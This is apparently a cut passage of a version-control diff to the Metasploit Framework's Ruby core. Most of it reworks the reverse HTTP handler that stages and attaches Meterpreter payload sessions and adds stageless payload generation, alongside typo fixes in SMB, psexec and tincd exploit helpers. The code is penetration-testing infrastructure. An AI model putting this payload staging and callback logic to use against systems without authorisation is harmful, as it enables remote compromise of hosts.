# Converts an ERB-based exploit template into HTML, and sends to client
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
|
@ -567,7 +571,6 @@ module Msf
|
||||||
# then this is handled as an Array, with the first element
|
# then this is handled as an Array, with the first element
|
||||||
# being the HTML, and the second element is the binding object.
|
# being the HTML, and the second element is the binding object.
|
||||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||||
#
|
|
||||||
def send_exploit_html(cli, template, headers={})
|
def send_exploit_html(cli, template, headers={})
|
||||||
html = ''
|
html = ''
|
||||||
if template.class == Array
|
if template.class == Array
|
||||||
|
@ -578,13 +581,12 @@ module Msf
|
||||||
send_response(cli, html, headers)
|
send_response(cli, html, headers)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Generates a target-specific payload, should be called by the module
|
# Generates a target-specific payload, should be called by the module
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param browser_info [Hash] The target profile
|
# @param browser_info [Hash] The target profile
|
||||||
# @return [String] The payload
|
# @return [String] The payload
|
||||||
#
|
|
||||||
def get_payload(cli, browser_info)
|
def get_payload(cli, browser_info)
|
||||||
arch = browser_info[:arch]
|
arch = browser_info[:arch]
|
||||||
platform = browser_info[:os_name]
|
platform = browser_info[:os_name]
|
||||||
|
@ -618,9 +620,8 @@ module Msf
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
#
|
|
||||||
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
# Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
|
||||||
#
|
|
||||||
def send_not_found(cli)
|
def send_not_found(cli)
|
||||||
custom_404_url = get_custom_404_url
|
custom_404_url = get_custom_404_url
|
||||||
if custom_404_url.blank?
|
if custom_404_url.blank?
|
||||||
|
|
|
@ -3,6 +3,7 @@ require 'rex/proto/smb'
|
||||||
require 'rex/proto/ntlm'
|
require 'rex/proto/ntlm'
|
||||||
require 'rex/proto/dcerpc'
|
require 'rex/proto/dcerpc'
|
||||||
require 'rex/encoder/ndr'
|
require 'rex/encoder/ndr'
|
||||||
|
require 'recog'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Remote::SMB
|
module Exploit::Remote::SMB
|
||||||
|
@ -45,7 +46,7 @@ module Msf
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||||
|
|
|
@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
# Retrieve the SERVICE_NAME option, generate a random
|
# Retrieve the SERVICE_NAME option, generate a random
|
||||||
# one if not already set.
|
# one if not already set.
|
||||||
#
|
#
|
||||||
# @return service_name [String] the name of the service.
|
# @return [String] service_name the name of the service.
|
||||||
def service_name
|
def service_name
|
||||||
@service_name ||= datastore['SERVICE_NAME']
|
@service_name ||= datastore['SERVICE_NAME']
|
||||||
@service_name ||= Rex::Text.rand_text_alpha(8)
|
@service_name ||= Rex::Text.rand_text_alpha(8)
|
||||||
|
@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
|
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
|
||||||
# one if not already set.
|
# one if not already set.
|
||||||
#
|
#
|
||||||
# @return service_display_name [String] the display name of the service.
|
# @return [String] the display name of the service.
|
||||||
def display_name
|
def display_name
|
||||||
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
|
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
|
||||||
@display_name ||= Rex::Text.rand_text_alpha(16)
|
@display_name ||= Rex::Text.rand_text_alpha(16)
|
||||||
|
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||||
|
|
||||||
# Retrieve the SERVICE_DESCRIPTION option
|
# Retrieve the SERVICE_DESCRIPTION option
|
||||||
#
|
#
|
||||||
# @return service_description [String] the service description.
|
# @return [String] the service description.
|
||||||
def service_description
|
def service_description
|
||||||
@service_description ||= datastore['SERVICE_DESCRIPTION']
|
@service_description ||= datastore['SERVICE_DESCRIPTION']
|
||||||
end
|
end
|
||||||
|
|
|
@ -240,7 +240,7 @@ module Msf
|
||||||
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||||
end
|
end
|
||||||
|
|
||||||
# New connection handler, executed when there is a new conneciton.
|
# New connection handler, executed when there is a new connection.
|
||||||
#
|
#
|
||||||
# @param c [Socket] The client establishing the connection.
|
# @param c [Socket] The client establishing the connection.
|
||||||
# @return [Hash] The hash with the client data initialized.
|
# @return [Hash] The hash with the client data initialized.
|
||||||
|
|
|
@ -64,7 +64,7 @@ module Exploit::Remote::TincdExploitClient
|
||||||
|
|
||||||
#
|
#
|
||||||
# The main method that will be called that will call other methods to send first message
|
# The main method that will be called that will call other methods to send first message
|
||||||
# and continously read from socket and ensures TCP disconnect at the end
|
# and continuously read from socket and ensures TCP disconnect at the end
|
||||||
#
|
#
|
||||||
def send_recv(packet_payload)
|
def send_recv(packet_payload)
|
||||||
@packet_payload = packet_payload
|
@packet_payload = packet_payload
|
||||||
|
@ -95,7 +95,7 @@ module Exploit::Remote::TincdExploitClient
|
||||||
|
|
||||||
#
|
#
|
||||||
# Reading of certificate files and parsing them, generation of random keys
|
# Reading of certificate files and parsing them, generation of random keys
|
||||||
# and intialization of OFB mode blowfish cipher
|
# and initialization of OFB mode blowfish cipher
|
||||||
#
|
#
|
||||||
def init_ciphers(server_file, client_file)
|
def init_ciphers(server_file, client_file)
|
||||||
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
||||||
|
@ -315,7 +315,7 @@ module Exploit::Remote::TincdExploitClient
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Ack state to signalise challenge/response was successfull
|
# Ack state to signalize challenge/response was successful
|
||||||
#
|
#
|
||||||
def ack
|
def ack
|
||||||
vprint_status('Sending ack (signalise server that we accept challenge' +
|
vprint_status('Sending ack (signalise server that we accept challenge' +
|
||||||
|
@ -325,7 +325,7 @@ module Exploit::Remote::TincdExploitClient
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Sending a packet inside the VPN connection after successfull protocol setup
|
# Sending a packet inside the VPN connection after successful protocol setup
|
||||||
#
|
#
|
||||||
def send_packet
|
def send_packet
|
||||||
vprint_status('Protocol finished setup. Going to send packet.')
|
vprint_status('Protocol finished setup. Going to send packet.')
|
||||||
|
|
|
@ -172,7 +172,7 @@ class Framework
|
||||||
attr_reader :datastore
|
attr_reader :datastore
|
||||||
#
|
#
|
||||||
# The framework instance's aux manager. The aux manager is responsible
|
# The framework instance's aux manager. The aux manager is responsible
|
||||||
# for collecting and catalogging all aux information that comes in from
|
# for collecting and cataloging all aux information that comes in from
|
||||||
# aux modules.
|
# aux modules.
|
||||||
#
|
#
|
||||||
attr_reader :auxmgr
|
attr_reader :auxmgr
|
||||||
|
|
|
@ -77,6 +77,9 @@ module Handler
|
||||||
# Initialize the pending_connections counter to 0
|
# Initialize the pending_connections counter to 0
|
||||||
self.pending_connections = 0
|
self.pending_connections = 0
|
||||||
|
|
||||||
|
# Initialize the sessions counter to 0
|
||||||
|
self.sessions = 0
|
||||||
|
|
||||||
# Create the waiter event with auto_reset set to false so that
|
# Create the waiter event with auto_reset set to false so that
|
||||||
# if a session is ever created, waiting on it returns immediately.
|
# if a session is ever created, waiting on it returns immediately.
|
||||||
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
||||||
|
@ -195,6 +198,9 @@ protected
|
||||||
# and any relevant information
|
# and any relevant information
|
||||||
s.set_from_exploit(assoc_exploit)
|
s.set_from_exploit(assoc_exploit)
|
||||||
|
|
||||||
|
# Pass along any associated payload uuid if specified
|
||||||
|
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
|
||||||
|
|
||||||
# If the session is valid, register it with the framework and
|
# If the session is valid, register it with the framework and
|
||||||
# notify any waiters we may have.
|
# notify any waiters we may have.
|
||||||
if (s)
|
if (s)
|
||||||
|
@ -234,10 +240,14 @@ protected
|
||||||
# Decrement the pending connections counter now that we've processed
|
# Decrement the pending connections counter now that we've processed
|
||||||
# one session.
|
# one session.
|
||||||
self.pending_connections -= 1
|
self.pending_connections -= 1
|
||||||
|
|
||||||
|
# Count the number of sessions we have registered
|
||||||
|
self.sessions += 1
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :session_waiter_event # :nodoc:
|
attr_accessor :session_waiter_event # :nodoc:
|
||||||
attr_accessor :pending_connections # :nodoc:
|
attr_accessor :pending_connections # :nodoc:
|
||||||
|
attr_accessor :sessions # :nodoc:
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ module Handler
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# This handler expects a interactive TTY on the supplied socket/io object
|
# This handler expects an interactive TTY on the supplied socket/io object
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
module FindTty
|
module FindTty
|
||||||
|
|
|
@ -1,8 +1,11 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'rex/io/stream_abstraction'
|
require 'rex/io/stream_abstraction'
|
||||||
require 'rex/sync/ref'
|
require 'rex/sync/ref'
|
||||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
|
||||||
require 'rex/payloads/meterpreter/patch'
|
require 'rex/payloads/meterpreter/patch'
|
||||||
|
require 'rex/payloads/meterpreter/uri_checksum'
|
||||||
|
require 'rex/post/meterpreter/packet'
|
||||||
|
require 'rex/parser/x509_certificate'
|
||||||
|
require 'msf/core/payload/windows/verify_ssl'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Handler
|
module Handler
|
||||||
|
@ -15,7 +18,9 @@ module Handler
|
||||||
module ReverseHttp
|
module ReverseHttp
|
||||||
|
|
||||||
include Msf::Handler
|
include Msf::Handler
|
||||||
include Msf::Handler::ReverseHttp::UriChecksum
|
include Rex::Payloads::Meterpreter::UriChecksum
|
||||||
|
include Msf::Payload::Windows::VerifySsl
|
||||||
|
include Rex::Post::Meterpreter
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the string representation of the handler type
|
# Returns the string representation of the handler type
|
||||||
|
@ -88,7 +93,7 @@ module ReverseHttp
|
||||||
def payload_uri(req)
|
def payload_uri(req)
|
||||||
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
||||||
callback_host = req.headers['Host']
|
callback_host = req.headers['Host']
|
||||||
elsif ipv6?
|
elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||||
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
||||||
else
|
else
|
||||||
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||||
|
@ -160,7 +165,9 @@ module ReverseHttp
|
||||||
def stop_handler
|
def stop_handler
|
||||||
if self.service
|
if self.service
|
||||||
self.service.remove_resource("/")
|
self.service.remove_resource("/")
|
||||||
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
if self.service.resources.empty? && self.sessions == 0
|
||||||
|
Rex::ServiceManager.stop_service(self.service)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -212,15 +219,41 @@ protected
|
||||||
#
|
#
|
||||||
def on_request(cli, req, obj)
|
def on_request(cli, req, obj)
|
||||||
resp = Rex::Proto::Http::Response.new
|
resp = Rex::Proto::Http::Response.new
|
||||||
|
info = process_uri_resource(req.relative_resource)
|
||||||
|
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||||
|
|
||||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
# Configure the UUID architecture and payload if necessary
|
||||||
|
uuid.arch ||= obj.arch
|
||||||
|
uuid.platform ||= obj.platform
|
||||||
|
|
||||||
uri_match = process_uri_resource(req.relative_resource)
|
conn_id = nil
|
||||||
|
if info[:mode] && info[:mode] != :connect
|
||||||
|
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||||
|
end
|
||||||
|
|
||||||
|
self.pending_connections += 1
|
||||||
|
|
||||||
# Process the requested resource.
|
# Process the requested resource.
|
||||||
case uri_match
|
case info[:mode]
|
||||||
when /^\/INITPY/
|
when :init_connect
|
||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
|
||||||
|
|
||||||
|
# Handle the case where stageless payloads call in on the same URI when they
|
||||||
|
# first connect. From there, we tell them to callback on a connect URI that
|
||||||
|
# was generated on the fly. This means we form a new session for each.
|
||||||
|
sum = uri_checksum_lookup(:connect)
|
||||||
|
new_uri = generate_uri_uuid(sum, uuid) + '/'
|
||||||
|
|
||||||
|
# This bit is going to need to be validated by the Ruby/MSF masters as I
|
||||||
|
# am not sure that this is the best way to get a TLV packet out from this
|
||||||
|
# handler.
|
||||||
|
# Hurl a TLV back at the caller, and ignore the response
|
||||||
|
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
|
||||||
|
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
|
||||||
|
resp.body = pkt.to_r
|
||||||
|
|
||||||
|
when :init_python
|
||||||
|
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
|
||||||
url = payload_uri(req) + conn_id + '/'
|
url = payload_uri(req) + conn_id + '/'
|
||||||
|
|
||||||
blob = ""
|
blob = ""
|
||||||
|
@ -251,11 +284,11 @@ protected
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
|
:payload_uuid => uuid
|
||||||
})
|
})
|
||||||
self.pending_connections += 1
|
|
||||||
|
|
||||||
when /^\/INITJM/
|
when :init_java
|
||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
|
||||||
url = payload_uri(req) + conn_id + "/\x00"
|
url = payload_uri(req) + conn_id + "/\x00"
|
||||||
|
|
||||||
blob = ""
|
blob = ""
|
||||||
|
@ -279,24 +312,27 @@ protected
|
||||||
:url => url,
|
:url => url,
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ssl => ssl?
|
:ssl => ssl?,
|
||||||
|
:payload_uuid => uuid
|
||||||
})
|
})
|
||||||
|
|
||||||
when /^\/A?INITM?/
|
when :init_native
|
||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
|
||||||
url = payload_uri(req) + conn_id + "/\x00"
|
url = payload_uri(req) + conn_id + "/\x00"
|
||||||
|
|
||||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
|
||||||
resp['Content-Type'] = 'application/octet-stream'
|
resp['Content-Type'] = 'application/octet-stream'
|
||||||
|
|
||||||
blob = obj.stage_payload
|
blob = obj.stage_payload
|
||||||
|
|
||||||
|
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||||
|
datastore['HandlerSSLCert'])
|
||||||
#
|
#
|
||||||
# Patch options into the payload
|
# Patch options into the payload
|
||||||
#
|
#
|
||||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
:url => url,
|
:url => url,
|
||||||
|
:ssl_cert_hash => verify_cert_hash,
|
||||||
:expiration => datastore['SessionExpirationTimeout'],
|
:expiration => datastore['SessionExpirationTimeout'],
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||||
:ua => datastore['MeterpreterUserAgent'],
|
:ua => datastore['MeterpreterUserAgent'],
|
||||||
|
@ -304,7 +340,7 @@ protected
|
||||||
:proxy_port => datastore['PayloadProxyPort'],
|
:proxy_port => datastore['PayloadProxyPort'],
|
||||||
:proxy_type => datastore['PayloadProxyType'],
|
:proxy_type => datastore['PayloadProxyType'],
|
||||||
:proxy_user => datastore['PayloadProxyUser'],
|
:proxy_user => datastore['PayloadProxyUser'],
|
||||||
:proxy_pass => datastore['PayloadProxyPass']
|
:proxy_pass => datastore['PayloadProxyPass'])
|
||||||
|
|
||||||
resp.body = encode_stage(blob)
|
resp.body = encode_stage(blob)
|
||||||
|
|
||||||
|
@ -316,14 +352,14 @@ protected
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
|
:payload_uuid => uuid
|
||||||
})
|
})
|
||||||
|
|
||||||
when /^\/CONN_.*\//
|
when :connect
|
||||||
resp.body = ""
|
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
|
||||||
# Grab the checksummed version of CONN from the payload's request.
|
|
||||||
conn_id = req.relative_resource.gsub("/", "")
|
|
||||||
|
|
||||||
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
|
resp.body = ""
|
||||||
|
conn_id = req.relative_resource
|
||||||
|
|
||||||
# Short-circuit the payload's handle_connection processing for create_session
|
# Short-circuit the payload's handle_connection processing for create_session
|
||||||
create_session(cli, {
|
create_session(cli, {
|
||||||
|
@ -333,13 +369,15 @@ protected
|
||||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
|
:payload_uuid => uuid
|
||||||
})
|
})
|
||||||
|
|
||||||
else
|
else
|
||||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
|
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
|
||||||
resp.code = 200
|
resp.code = 200
|
||||||
resp.message = "OK"
|
resp.message = "OK"
|
||||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||||
|
self.pending_connections -= 1
|
||||||
end
|
end
|
||||||
|
|
||||||
cli.send_response(resp) if (resp)
|
cli.send_response(resp) if (resp)
|
||||||
|
|
|
@ -0,0 +1,73 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/parser/x509_certificate'
|
||||||
|
require 'msf/core/payload/uuid_options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Helper functionality for handling of stageless http(s) payloads
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
module Handler::ReverseHttp::Stageless
|
||||||
|
|
||||||
|
include Msf::Payload::Windows::VerifySsl
|
||||||
|
include Msf::Payload::UUIDOptions
|
||||||
|
|
||||||
|
def initialize_stageless
|
||||||
|
register_options([
|
||||||
|
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_stageless(opts={})
|
||||||
|
unless opts[:generator]
|
||||||
|
raise ArgumentError, "Stageless generation requires a generator argument"
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:ssl].nil?
|
||||||
|
raise ArgumentError, "Stageless generation requires an ssl argument"
|
||||||
|
end
|
||||||
|
|
||||||
|
host = datastore['LHOST']
|
||||||
|
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
|
||||||
|
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
|
||||||
|
|
||||||
|
# Use the init_connect mode because we're stageless. This will force
|
||||||
|
# MSF to generate a new URI when the first request is made.
|
||||||
|
url << "#{generate_uri_uuid_mode(:init_connect)}/"
|
||||||
|
|
||||||
|
# invoke the given function to generate the architecture specific payload
|
||||||
|
opts[:generator].call(url) do |dll|
|
||||||
|
|
||||||
|
verify_cert_hash = nil
|
||||||
|
if opts[:ssl]
|
||||||
|
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||||
|
datastore['HandlerSSLCert'])
|
||||||
|
end
|
||||||
|
|
||||||
|
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||||
|
:url => url,
|
||||||
|
:ssl => opts[:ssl],
|
||||||
|
:ssl_cert_hash => verify_cert_hash,
|
||||||
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||||
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
|
:ua => datastore['MeterpreterUserAgent'],
|
||||||
|
:proxy_host => datastore['PayloadProxyHost'],
|
||||||
|
:proxy_port => datastore['PayloadProxyPort'],
|
||||||
|
:proxy_type => datastore['PayloadProxyType'],
|
||||||
|
:proxy_user => datastore['PayloadProxyUser'],
|
||||||
|
:proxy_pass => datastore['PayloadProxyPass'])
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -1,128 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
module Msf
|
|
||||||
module Handler
|
|
||||||
module ReverseHttp
|
|
||||||
module UriChecksum
|
|
||||||
|
|
||||||
#
|
|
||||||
# Define 8-bit checksums for matching URLs
|
|
||||||
# These are based on charset frequency
|
|
||||||
#
|
|
||||||
URI_CHECKSUM_INITW = 92 # Windows
|
|
||||||
URI_CHECKSUM_INITP = 80 # Python
|
|
||||||
URI_CHECKSUM_INITJ = 88 # Java
|
|
||||||
URI_CHECKSUM_CONN = 98
|
|
||||||
|
|
||||||
#
|
|
||||||
# Precalculated checkums as fallback
|
|
||||||
#
|
|
||||||
URI_CHECKSUM_PRECALC = [
|
|
||||||
"Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
|
|
||||||
"cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
|
|
||||||
"E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
|
|
||||||
"tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
|
|
||||||
"0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
|
|
||||||
"U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
|
|
||||||
"KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
|
|
||||||
"1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
|
|
||||||
"HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
|
|
||||||
"J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
|
|
||||||
"k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
|
|
||||||
"bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
|
|
||||||
"YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
|
|
||||||
"KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
|
|
||||||
"CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
|
|
||||||
"2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
|
|
||||||
"Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
|
|
||||||
"iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
|
|
||||||
"eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
|
|
||||||
"oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
|
|
||||||
"dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
|
|
||||||
"BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
|
|
||||||
"7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
|
|
||||||
"kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
|
|
||||||
"aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
|
|
||||||
"zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
|
|
||||||
]
|
|
||||||
|
|
||||||
# Map "random" URIs to static strings, allowing us to randomize
|
|
||||||
# the URI sent in the first request.
|
|
||||||
#
|
|
||||||
# @param uri_match [String] The URI string to convert back to the original static value
|
|
||||||
# @return [String] The static URI value derived from the checksum
|
|
||||||
def process_uri_resource(uri_match)
|
|
||||||
|
|
||||||
# This allows 'random' strings to be used as markers for
|
|
||||||
# the INIT and CONN request types, based on a checksum
|
|
||||||
uri_strip, uri_conn = uri_match.split('_', 2)
|
|
||||||
uri_strip.sub!(/^\//, '')
|
|
||||||
uri_check = Rex::Text.checksum8(uri_strip)
|
|
||||||
|
|
||||||
# Match specific checksums and map them to static URIs
|
|
||||||
case uri_check
|
|
||||||
when URI_CHECKSUM_INITW
|
|
||||||
uri_match = "/INITM"
|
|
||||||
when URI_CHECKSUM_INITP
|
|
||||||
uri_match = "/INITPY"
|
|
||||||
when URI_CHECKSUM_INITJ
|
|
||||||
uri_match = "/INITJM"
|
|
||||||
when URI_CHECKSUM_CONN
|
|
||||||
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
|
|
||||||
end
|
|
||||||
|
|
||||||
uri_match
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create a URI that matches a given checksum
|
|
||||||
#
|
|
||||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
|
||||||
# @param len [Fixnum] An optional length value for the created URI
